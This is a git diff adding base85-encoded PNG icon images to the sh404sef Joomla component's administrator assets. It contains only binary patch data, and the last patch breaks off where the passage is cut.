b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-next.png new file mode 100644 index 0000000000000000000000000000000000000000..1b53a06bfa1b293db409492f8517063b1447cdaf GIT binary patch literal 1672 zcmWkt4N%nv5)Q9V380eFT5`&G1gRRJ#h{`Q#)AO0?;R)?pA^&D12WJ$5mAGcBdtZ6 z{)j>EY?gA)To7t$~jR%jXEu%qDITe!*i5Wr}mv#%qX6@xU>H|`|a$`?6$&X zOD9K8iv$2*vhU4Y(zWr=1$@EPx%(P)*Cbcx6<6nMEHABIQ?)KWu%@ycC~%#$`0P#Z z#iz}kJ3k&vUyLnUJP(h5ZLUl2Y(LxRwuM*w3i86QfS%}>c`wx>$!;oQ{hO;;0Emit zE@1;hTb{Z}?|az=*#Pj}&ZwuQ69B;TufqI5p5r*WVd{pVX}Y3nvZBh0qUpLIiZsWN zEQvD&PUC)tq*;dJc~O#hQGgj3WI(_j!2l?Y`e{GQagyYAs}x6rJOBy+C;}h@AT;8q zNkI@b-4G-ZVG&3IAQ^;J5LQ6QWz`JJHi_{5%_6xFzs|ccisE7tb zj$t`^&NsJbA=}Y{ zPS7?99i!YMh5Uqp;4bS3B15X_BHKcc$9WtTVa_IP$B``wW?{dIq6&mdn0s@}b|@Y9 zn<#CND2>rN&f6quVweIG21XmWV3Sl3BZC;G!bZ@Mf(pb!qC+zlK?QL-h?|zp83NAW zD2HMaA~`f0^3xWMOSl;du?FjBNlK(34is#Pv2a4d^^nf;oS=%FMY5KkwFp8(Fdf2p z43iPjp|}u9XsBfe`5;TU01^wbAQ$vACdmmr%A+t3i8f6cI3hy2rK=&CGI5Hd{3<3m z6lq|r>287Yia;nRZ4tCYgB(a3gb<=|4wn>JRAfRR5CP&tBpW11fl@S0R3yJZ!aRsc zFfJnqhf+Kxs|vy)jKoZUBA$OoST(t91&}pzy#fGUNc81q2Wkc@zqE2L7ruP%^59-@ z|NNe-Z@m2D=XojDi*ly^wY9$f=>GQ;S_Jb_>;8N+@M>$GoO7(_tZ>(ye9pVP*c zKhO%}e)f&teQIc_7d6;??LWsJl{fVbzqR?<7t<0>Kf5{}y|Qy>dGnHgXtfFBqhqU= z-!7m1tmD@O=W#9g(E06m){;CH< zsatN=fXU+A{N3LS++11q4fIZTZR11p?UZX(H-0$2X;1p9$B| zcJFvt*H`q@dZN8OChUtpO`QsU_tALMyRlccnkn8uVBenT1uau3Xy)uGOUwE)x?frT zZFmwBJK8rgI5@=3Q6>UeFRLrov)v^r0UQD_-JK25d8~8cQ)>cYn)>C zbnZdwMknT+-0*$TjKWW2OFGBKQg#iU+^d^k^)IYQO`ks}JLbR}Sxuj|tvS)ucJ0b_ z&*NVP$cNOc@X`)*YRSs0cV;Di`&GDS%l(*0Ph{qC;O*5#?+(akZ!~1yPJMkrQQ%%o z-LAk*q-^b~j&oFJ-0I|wmrsm7PJU~v7bx@LFDCUyZf_`dt@AImbD4#s?%$l_@dZh7gRBTU;Co{q4J+r*Aysbi(@9wQI(%`PiUDoMES%9E>OIvS7I7qF?cv-dGq97~Rxf=f@F2dWPKi&rm3V66AJUR`7YcC`%1*yuzBXms zt+QV*+V)@j7Wmnu$uq%jB0K5k%=4e;P5M3Zgi*Z%VcDf=apxmyzV8j6GA-qPca!J9 zzRk@oCwo51A;!mI|L7bW_LQdntvKPu?X?lkk&ivoAI<~^K7Q2iJ`do_Tb6r>D5?KH D09X2< literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-previous.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-previous.png new file mode 100644 index 0000000000000000000000000000000000000000..6225d001029ad7bde8a1c5e4f54c24ef72d4e5e6 GIT binary patch literal 1620 zcmWkt4^Y&07XI;1qKpy*YYq=)BWlguctbc&%+eEypb(T|1kp@Kizx`E_0MJX3OQxf zT*Wr0h^gb1AX6n4Y{Ti+w4%m(R~xNdqeyS-b%xlAvQ}VLMQ-Jw&8=^~@4Yu~-uvFn zn|TLHikDBFk~{?fFtxBCj}AxI3qnz0pV#)T84kbkZ0B`Zqv9mg>(ziC;zVQRXeYPzavhG~kj z#0o6M(F8{lEJ1M;%d>(g%8EksG{PYe2S9iQ2OthYS(IccUJw*DETF?I0*L^U03-v7 zr6ox=OiNN_lt*C&z$%1j5TZkH7#hG>oa1>x77-2w0zh;ChoJ&Vkx?B&4G3XTmgg`Y zg9L!;FlxXUi;0p%2n56f%z#-_P%OVc=ompA(P3FuWK|(F6f3+ zKv4-644zR~Sb!vlp)DMhVM-;Jj9{gkLl zyvoZVMhY^xiYl5)N~9E`d7GpqTGkXwqG1t2B?J{PT4YpR6IF?k8B{=Vk>C_gGmQ1i zvtIm0goiF(4VDbtsRAG>t}rjR^zH8}kBn`&{ra!3#olZG)_3Pt$=X`{r$(&Xv)Pk8 z>HYK6*Ykh(vfOe^{%~#WoPyYHU$$@jT<_53;me2WKMMTndUyZDKjiGPTW^jG{U`LE zD{Ag9Pe#g}eRu2s=T!Zin3gu!yJ`Pm(dT!A&ZDOK@#C)Kd0z}(bC>`A>7~Gp@ylks zZgd`6diagy zU02pUa;+{BRPXWrwQ{s>M=|y0{Isr1ErDiX5p=%jLhBc2KK&&3=EL;mZA%(bpDn)M zJif>p9Mu<&En3kw_N1EoBZf_D#+}(lruH&wF^U` z*M9V-K3@OU#WexX2P>?>x~M2`=ES6if}^buy1<$73pY1-cOLnwHaYrXHQlm(6}s%; z&f0^uxhXl@pO%)yN4RP2>diUm{)txtBV*J4l)8P&g^p8Z*M8iaQqXi|L+qNVYd~?ek(XcFG%pN%EKl<6Oiu!LBLeYsCPm>xx{;+3wXV&nv!C5h2Qd=Sc z8iV)$HBdMH+r-A0`ux9iG$rl41wT)Ux!3;Sw6^BsT|!H5eVbMNBL{ z|L{cqvXedMka=*P*`y|%>5Hp+@Xxz(Zf`|F-G7y?k%84EfdE8rtKZxw85A;breoMfBgUbYAU0b>c_! zRjT+O?|0N}rdv9D+NP(cwr0#o$@HEOdk!o*RoYP+y_Q<>QdW)cjqBA1+D@9UHdY|- z>?=>5nX?K_S==%kb8mijto>p8v9tXfdlG!!hO{|{=O<$a;P@sdD!C~kp8Gl_F8m{) NFuypjlYD*e{{i=<>s9~& literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-purge.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-purge.png new file mode 100644 index 0000000000000000000000000000000000000000..874913d97e93b065af15b785bceb514fc56f4882 GIT binary patch literal 1734 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 Z{tNCmLuTFPti%8S002ovPDHLkV1j}BeZ2qx literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-save.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-save.png new file mode 100644 index 0000000000000000000000000000000000000000..55b2078413ac05a563f8ed335678e616d94a6955 GIT binary patch literal 977 zcmeAS@N?(olHy`uVBq!ia0vp^3P9|@!3-pQ0$S$)Ddu7)&kzm{j@u9Y9{{;60X`wF zKziD)FK5o2nK^T2MR|EpV4#(u;g&61?mv00rmFh?|Nowzo~*2_@87@QyLV4XQSs=} zqf3`AegFQwq=bZ%lhd_p*W%;iT3TABOqp{0#^=3z_Zk};3knFVUAxxH%j>|kpHWd! z#l^*(92}aOnrUfiUQSNWo;|CsuC}tW($m$wc<;;FrAt?K*n(WCQxfDC473pn7+?&X z^poF_PC$K}1s;*b3=G^tAk28_ZrvZCpnQpIL`iUdT1k0gQ7VIPVscS_ZfZ(qqJmpy zQEGX9QFgI{#ny~V6+oq8Af?Vlsfi_-`FRQ8#b$P*cA>U3ib!l!^0NR?c~=?Z|r5@_4u76kmS-CZS6VSz>Kn{AZKQnM#&t zm$Q`UoOqQrdt=DV3v*Y!`qj5!F6W{ZvpyEQGinsR|6VsEZC7GkM||Bf4<@&J;Zg02 zVy1np*%zayw3}J|-t>KXvr{c)&RyS^`(87Q@q2CLwBpMFznn$4d24Z_xWz#e9o%4X_5ymSs4C&6TN*~ zZd2Tq#}=Dh4F7%Fd(*_*{P}0km7=##rnGt)23AVsd|3Q|Z~8VXtyFf#ENuXcADAcoy(i=tcG0n9!)={wd1VO3xM~7`}*CPFbp^ zdQVwQac}U-=jnAq|5r8~e083+)zRQxYn85sto6~B@6V<#h*?l+>SUq+^Ya0LYa3Vk zMO^kgY1Wi9H}&|HO9{G@x1PT~|E9!(OCcQEuXm-*Oi+5R!?mV+$GnBgL$-janZ1M!d6U3 zTl$#Q z@_Eb7yi2Y2lpZVR=I*>vmIW21|~)ZPgg&ebxsLQ0Luf;x&QzG literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-terminate.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-terminate.png new file mode 100644 index 0000000000000000000000000000000000000000..d0c4bc5b4651778457c2e11d8eb185bec2d72f7a GIT binary patch literal 1352 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 Z{|6QwZ}yPXvsM5A002ovPDHLkV1gyOs*(Tz literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-aliases.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-aliases.png new file mode 100644 index 0000000000000000000000000000000000000000..34cff740a9defeeb11252917edf64c14e1f4866c GIT binary patch literal 4288 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

